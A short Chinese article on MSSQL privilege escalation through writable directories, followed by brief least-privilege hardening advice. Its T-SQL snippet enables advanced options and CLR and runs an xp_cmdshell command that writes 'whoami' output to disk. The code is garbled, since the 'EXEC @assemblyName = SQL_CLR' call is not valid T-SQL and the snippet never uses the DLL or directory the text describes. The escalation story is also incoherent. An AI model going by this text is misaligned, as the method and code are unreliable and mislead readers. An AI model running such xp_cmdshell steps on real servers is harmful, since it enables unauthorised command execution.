1. MSSQL 提权及访问权限
在 MSSQL 中，Windows 账户登录方式需要在 Windows 系统中注册一个登录账户，通过该账户登录 MSSQL，即使用 Windows 账户验证登录，而 SQL Server 账户登录则是在 MSSQL 内部管理的，不需要在 windows 系统中注册。在 Windows 系统中，可以通过设置文件夹、文件的安全选项来限制该文件的读写等权限，而在 MSSQL 中，也可以通过相关配置维护数据库文件的安全。
这种访问权限控制方式是通过设置文件夹、文件的安全选项来限制该文件的读写等权限，防止未授权的人员对文件进行恶意修改或者删除等操作。
2. MSSQL 对目录的访问控制
2.1. 针对可写目录的攻击方式
攻击者在尝试攻击时，首先需要获取足够的权限才能去进行攻击，获取 MSSQL 的 SA 权限就是其中一种方式。攻击者通常会选择针对 MSSQL 可写目录的攻击方式，本文将介绍常用的一种攻击方式：针对可写目录的攻击。
攻击者可以先获取目标系统上 MSSQL 服务的本地管理员权限，然后通过 MSSQL 服务的可写目录执行一个 DLL 文件，从而获取 SA 权限。
EXEC sp_configure 'show advanced options', 1;
GO
RECONFIGURE WITH OVERRIDE;
GO
EXEC sp_configure 'clr enabled', 1;
GO
RECONFIGURE WITH OVERRIDE;
GO
DECLARE @assemblyName nvarchar(200), @className nvarchar(200), @method nvarchar(200), @args nvarchar(200);
SET @assemblyName = 'System.Data';
SET @className = 'System.Data.SqlClient.SqlCommand';
SET @method = 'ExecuteNonQuery';
SET @args = 'EXEC xp_cmdshell ''whoami > c:\whoami.txt''';
EXEC @assemblyName = SQL_CLR @className, @method, @args;
SELECT @assemblyName;
在攻击者通过 MSSQL 服务的可写目录，通过执行一个 DLL 文件获取 SA 权限的过程中，需要使用一系列 SQL 命令来进行操作。其中，最重要的操作是启用 clr，使用 xp_cmdshell 命令。
2.2. 针对可写目录的防御方式
在使用 MSSQL 服务时，建议将服务账号设置成非管理员账号，并使用最小权限原则，仅赋予服务所需的最小权限来降低系统被攻击的风险。
同时，对 MSSQL 的可写目录进行限制，只授权给所需的账号，对于其他账号必须做好禁止访问的限制措施，避免遭受攻击。
3. 结束语
在使用 MSSQL 时，一定要注意安全问题。通过本文，了解了 MSSQL 对目录访问控制的相关知识以及针对可写目录的攻击方式和防御方式，在此基础上做好系统安全测试和系统加固操作，才能更好地保护系统的安全性。